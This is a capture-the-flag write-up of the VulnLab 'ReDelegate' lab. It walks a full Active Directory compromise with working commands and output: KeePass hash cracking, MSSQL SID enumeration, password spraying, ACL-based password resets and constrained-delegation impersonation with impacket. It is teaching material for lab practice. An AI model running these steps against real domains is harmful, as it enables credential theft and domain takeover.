ReDelegate

Anonymous FTP leaked a KeePass DB → cracked with custom wordlist → SQLGuest creds → MSSQL SID enum → password spray → ACL abuse → Constrained Delegation → DC pwned.

Platform: VulnLab Difficulty: Medium OS: Windows Server 2022 Domain: redelegate.vl DC IP: 10.129.234.50

---

1. Reconnaissance

An initial Nmap scan against the target reveals a typical Windows Domain Controller profile:

┌──(kali㉿kali)-[~]
└─$ nmap 10.129.234.50 -sCV 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:18 -0400
Nmap scan report for 10.129.234.50
Host is up (0.15s latency).
Not shown: 985 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-15 11:19:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Not valid before: 2026-03-14T11:17:27
|_Not valid after:  2026-09-13T11:17:27
|_ssl-date: 2026-03-15T11:20:04+00:00; -4s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: REDELEGATE
|   NetBIOS_Domain_Name: REDELEGATE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: redelegate.vl
|   DNS_Computer_Name: dc.redelegate.vl
|   DNS_Tree_Name: redelegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-03-15T11:19:57+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -4s, deviation: 0s, median: -4s
| smb2-time: 
|   date: 2026-03-15T11:19:55
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

SMB null authentication is accepted (Null Auth: True), but share enumeration and RID brute-forcing are both blocked with STATUS_ACCESS_DENIED, so SMB alone doesn't give us much. FTP anonymous access, however, is wide open.

┌──(kali㉿kali)-[~]
└─$ nxc smb 10.129.234.50 -u "" -p ""                         
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\: 


┌──(kali㉿kali)-[~]
└─$ nxc smb 10.129.234.50 -u "" -p "" --shares
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\: 
SMB         10.129.234.50   445    DC               [-] Error enumerating shares: STATUS_ACCESS_DENIED


┌──(kali㉿kali)-[~]
└─$ nxc smb 10.129.234.50 -u "" -p "" --rid-brute
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\: 
SMB         10.129.234.50   445    DC               [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

---

2. Anonymous FTP Enumeration

Logging in anonymously to FTP reveals three files:

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ ftp [email protected]                      
Connected to 10.129.234.50.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||56593|)
125 Data connection already open; Transfer starting.
10-20-24  01:11AM                  434 CyberAudit.txt
10-20-24  05:14AM                 2622 Shared.kdbx
10-20-24  01:26AM                  580 TrainingAgenda.txt

CyberAudit.txt

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ cat CyberAudit.txt                        
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
5) Prompt users to change their passwords: DONE
6) Check privileges for all users and remove high privileges: DONE
7) Remove unused objects in the domain: IN PROGRESS
8) Recheck ACLs: IN PROGRESS

Key Takeaway: ACLs are flagged as dangerous and still being remediated — a strong signal of exploitable misconfigurations.

TrainingAgenda.txt

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ cat TrainingAgenda.txt  
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October  | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?
Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password 
Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them 

Key Takeaway: The training content leaks the password pattern employees were warned against — SeasonYear! (e.g. Fall2024!, Summer2024!). This is the password format to target.

---

3. KeePass Password Cracking

Shared.kdbx is a KeePass database. We extract its hash and crack it using a custom wordlist built from the SeasonYear! pattern:

Extract hash

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ keepass2john Shared.kdbx > hash.txt
#REMOVE "Shared:" from hash text before using HashCat

Build custom wordlist

Spring2023!
Summer2023!
Autumn2023!
Fall2023!
Winter2023!
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Winter2024!
Spring2025!
Summer2025!
Autumn2025!
Fall2025!
Winter2025!
Spring2026!
Summer2026!
Autumn2026!
Fall2026!
Winter2026!

Crack with Hashcat (mode 13400 — KeePass KDBX v2/v3)

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ hashcat -m 13400 hash.txt passwords.txt -w 3 -O 


$keepass$*2*600000*0*ce7...SNIP...b4502ca:Fall2024!
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass (KDBX v2/v3))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca
Time.Started.....: Sun Mar 15 08:41:38 2026 (0 secs)
Time.Estimated...: Sun Mar 15 08:41:38 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       44 H/s (0.63ms) @ Accel:807 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 20/20 (100.00%)
Rejected.........: 0/20 (0.00%)
Restore.Point....: 0/20 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000
Candidate.Engine.: Device Generator
Candidates.#01...: Spring2023! -> Winter2026!
Hardware.Mon.#01.: Util: 86%

Result: Fall2024! — cracked instantly.

KeePass Contents

Opening the database reveals stored credentials:

Title	Username	Password
FTP	FTPUser	SguPZBKdRyxWzvXRWy6U
FS01 Admin	Administrator	Spdv41gg4BlBgSYIW1gF
WEB01	WordPress Panel	cn4KOEgsHqvKXPjEnSD9
SQL Guest Access	SQLGuest	zDPBpaF4FywlqIv11vii
Timesheet Manager	Timesheet	hMFS4I0Kj8Rcd62vqi5X
Payroll App	Payroll	cVkqz4bCM7kJRSNlgx2G

SMB and LDAP authentication fail for all entries. However, MSSQL (port 1433) is open and not shown by the default Nmap scan — a full port scan (-p-) is needed to find it.

---

4. MSSQL Access & Domain User Enumeration

Connecting as SQLGuest to the MSSQL instance:

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ mssqlclient.py SQLGuest:[email protected]
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands

SQL (SQLGuest  guest@master)> EXEC sp_linkedservers;
SRV_NAME                     SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE               SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------------------------   ----------------   -----------   --------------------------   ------------------   ------------   -------   
WIN-Q13O908QBPG\SQLEXPRESS   SQLNCLI            SQL Server    WIN-Q13O908QBPG\SQLEXPRESS   NULL                 NULL           NULL      

SQL (SQLGuest  guest@master)> SELECT SYSTEM_USER;

--------   
SQLGuest   

SQL (SQLGuest  guest@master)> SELECT name FROM sys.databases;
name     
------   
master   
tempdb   
model    
msdb

RID Brute-Force via SID Resolution

SQL Server's SUSER_SNAME() function can resolve SIDs to usernames. By manipulating the RID component of the domain SID, we can enumerate domain accounts:

First, retrieve the domain SID from a known account:

SQL (SQLGuest  guest@master)> SELECT SUSER_SID('REDELEGATE\Administrator');
-----------------------------------------------------------   
b'010500000000000515000000a185deefb22433798d8e847af4010000'   

SQL (SQLGuest  guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847ae8030000);
------------------------------------------------------   
REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG   

SQL (SQLGuest  guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847ae9030000);
----   
NULL   

SQL (SQLGuest  guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847aea030000);
--------------   
REDELEGATE\DC$   

SQL (SQLGuest  guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847aeb030000);
----   
NULL   

The domain SID is: 010500000000000515000000a185deefb22433798d8e847a The last 4 bytes are the RID (little-endian). Administrator = RID 0x1F4 = 500.

Generate bulk queries for RIDs 1000–1500:

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ python3 -c 'import struct; [print("SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847a" + struct.pack("<I", rid).hex() + ");") for rid in range(1000, 1500)]; print("go")' > enum.sql

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ sqsh -S 10.129.234.50 -U 'SQLGuest' -P 'zDPBpaF4FywlqIv11vii' -i enum.sql | grep 'REDELEGATE'
        REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG               
        REDELEGATE\DC$                                                       
        REDELEGATE\FS01$                                                     
        REDELEGATE\Christine.Flanders                                        
        REDELEGATE\Marie.Curie                                               
        REDELEGATE\Helen.Frost                                               
        REDELEGATE\Michael.Pontiac                                           
        REDELEGATE\Mallory.Roberts                                           
        REDELEGATE\James.Dinkleberg                                          
        REDELEGATE\Helpdesk                                                  
        REDELEGATE\IT                                                        
        REDELEGATE\Finance                                                   
        REDELEGATE\DnsAdmins                                                 
        REDELEGATE\DnsUpdateProxy                                            
        REDELEGATE\Ryan.Cooper                                               
        REDELEGATE\sql_svc     

---

5. Password Spraying

Using the cracked KeePass password Fall2024! against all discovered users:

┌──(kali㉿kali)-[~/Documents/redelegate]
└─$ nxc smb 10.129.234.50 -u users.txt -p 'Fall2024!' --continue-on-success
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DC$:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\FS01$:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helen.Frost:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Michael.Pontiac:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Mallory.Roberts:Fall2024! STATUS_ACCOUNT_RESTRICTION 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\James.Dinkleberg:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helpdesk:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\IT:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Finance:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DnsAdmins:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DnsUpdateProxy:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Ryan.Cooper:Fall2024! STATUS_LOGON_FAILURE 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\sql_svc:Fall2024! STATUS_LOGON_FAILURE 

Result: Marie.Curie:Fall2024! — valid credentials.

Note: Mallory.Roberts returns STATUS_ACCOUNT_RESTRICTION rather than STATUS_LOGON_FAILURE — suggesting her account may have valid credentials but a logon restriction (e.g. no interactive logon, disabled, workstation restriction).

---

6. ACL Abuse — ForceChangePassword

BloodHound Analysis

BloodHound reveals the following ACL chain:

MARIE.CURIE  --[MemberOf]-->  HELPDESK
HELPDESK     --[ForceChangePassword]-->  HELEN.FROST
HELEN.FROST  --[MemberOf]-->  IT
IT           --[GenericAll]-->  FS01$ (computer object)

Marie.Curie is a member of the Helpdesk group, which has ForceChangePassword rights over Helen.Frost. This allows us to set her password without knowing the current one.

Exploit

┌──(kali㉿kali)-[~]
└─$ bloodyAD --host 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password Helen.Frost 'Test123!'
[+] Password changed successfully!

WinRM Access

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.234.50 -u Helen.Frost -p Test123! 

*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> type ../Desktop/user.txt
5741xxxxxxxxxxxxxxxxxxxxxxx58bd

User flag obtained.

---

7. BloodHound Analysis

The full attack path from Helen.Frost continues:

HELEN.FROST  --[MemberOf]-->  IT
IT           --[GenericAll]-->  FS01$ (computer account)
FS01$        --[can be configured for Constrained Delegation]-->  cifs/DC.redelegate.vl

IT has GenericAll over FS01$, giving full control over that computer object. This means we can:

1. Reset FS01$'s password

2. Configure msDS-AllowedToDelegateTo (constrained delegation target)

3. Set TrustedToAuthForDelegation (Protocol Transition / S4U2Self)

---

8. Constrained Delegation Setup via GenericAll on FS01$

As Helen.Frost (member of IT group with GenericAll over FS01$):

Step 1 — Reset FS01$ computer account password

*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> Set-ADAccountPassword -Identity "CN=FS01,CN=Computers,DC=redelegate,DC=vl" -NewPassword (ConvertTo-SecureString "Test123!" -AsPlainText -Force)

Step 2 — Configure Constrained Delegation target

*Evil-WinRM* PS C:\Users> Set-ADComputer -Identity FS01 -Replace @{'msDS-AllowedToDelegateTo'='cifs/DC.redelegate.vl'}

Step 3 — Enable Protocol Transition (S4U2Self)

*Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity FS01$ -TrustedForDelegation $false


*Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity FS01$ -TrustedToAuthForDelegation $true

Verify

*Evil-WinRM* PS C:\Users> Get-ADComputer -Identity FS01 -Properties msDS-AllowedToDelegateTo

DistinguishedName        : CN=FS01,CN=Computers,DC=redelegate,DC=vl
DNSHostName              :
Enabled                  : True
msDS-AllowedToDelegateTo : {cifs/DC.redelegate.vl}
Name                     : FS01
ObjectClass              : computer
ObjectGUID               : 0cdb28e9-77ab-4fff-a92e-964adfefe91a
SamAccountName           : FS01$
SID                      : S-1-5-21-4024337825-2033394866-2055507597-1103
UserPrincipalName        :


*Evil-WinRM* PS C:\Users> Get-ADComputer -Identity FS01 -Properties TrustedForDelegation, TrustedToAuthForDelegation | Select Name, TrustedForDelegation, TrustedToAuthForDelegation

Name TrustedForDelegation TrustedToAuthForDelegation
---- -------------------- --------------------------
FS01                False                       True

FS01$ is now configured for constrained delegation with protocol transition to cifs/DC.redelegate.vl.

---

9. S4U2Self / S4U2Proxy — Impersonating a Domain Admin

Choosing the right impersonation target

Initial attempts to impersonate Administrator failed with KDC_ERR_BADOPTION. This means the Administrator account is flagged as "Account is sensitive and cannot be delegated" in Active Directory.

By enumerating other Domain Admins, Ryan.Cooper was found to lack this protection, making him a valid impersonation target.

Step 1 — Get a TGT for FS01$

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT -dc-ip 10.129.234.50 'redelegate.vl/FS01$:Test123!'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in FS01$.ccache


┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=FS01$.ccache

Step 2 — S4U2Self + S4U2Proxy to get a service ticket as Ryan.Cooper

┌──(kali㉿kali)-[~]
└─$ impacket-getST -k -no-pass -spn 'cifs/DC.redelegate.vl' -impersonate Ryan.Cooper -dc-ip 10.129.234.50 'redelegate.vl/FS01$'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Ryan.Cooper
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Ryan.Cooper@[email protected]

Explanation:

• S4U2Self: FS01$ requests a service ticket to itself on behalf of Ryan.Cooper (protocol transition — no password needed for Ryan.Cooper)

• S4U2Proxy: FS01$ uses that ticket to request a forwarded service ticket for cifs/DC.redelegate.vl on behalf of Ryan.Cooper

Step 3 — Access DC as Ryan.Cooper (Domain Admin+Root Flag)

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Ryan.Cooper@[email protected]


┌──(kali㉿kali)-[~]
└─$ impacket-smbclient -k -no-pass DC.redelegate.vl
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
# cd Users\Administrator\Desktop
# ls
drw-rw-rw-          0  Wed Oct 30 12:03:55 2024 .
drw-rw-rw-          0  Sun Oct 20 11:05:28 2024 ..
-rw-rw-rw-        282  Fri May 24 08:00:13 2024 desktop.ini
-rw-rw-rw-         34  Sun Mar 15 07:18:13 2026 root.txt
# get root.txt

┌──(kali㉿kali)-[~]
└─$ cat root.txt                                                             
21c2xxxxxxxxxxxxxxxxxxxxxx8186

---

10. Attack Chain Summary

[Anonymous FTP]
└─> CyberAudit.txt + TrainingAgenda.txt + Shared.kdbx
└─> Password pattern: SeasonYear!
└─> Hashcat → Fall2024! (KeePass master password)
└─> SQLGuest credentials from KeePass
└─> [MSSQL Guest Access]
└─> SID enumeration → domain user list
└─> Password spray → Marie.Curie:Fall2024!
└─> [ACL: ForceChangePassword]
└─> Reset Helen.Frost → Test123!
└─> [WinRM] Helen.Frost → user.txt
└─> [ACL: IT GenericAll FS01$]
└─> Reset FS01$ password
└─> Configure Constrained Delegation + Protocol Transition
└─> S4U2Self → S4U2Proxy as Ryan.Cooper
└─> cifs/DC.redelegate.vl → root.txt

Key Vulnerabilities Exploited

Vulnerability	Impact
Anonymous FTP with sensitive files	Initial foothold / credentials
Weak password policy (SeasonYear!)	KeePass + domain account access
Guest MSSQL access with SID enumeration	Domain user enumeration
Password reuse (Fall2024!)	Valid domain credentials
ForceChangePassword ACL (Helpdesk → Helen.Frost)	Lateral movement
GenericAll ACL (IT → FS01$)	Computer object takeover
Constrained Delegation + Protocol Transition (S4U2Proxy)	Domain Admin impersonation
Ryan.Cooper not marked "sensitive, cannot be delegated"	Delegation bypass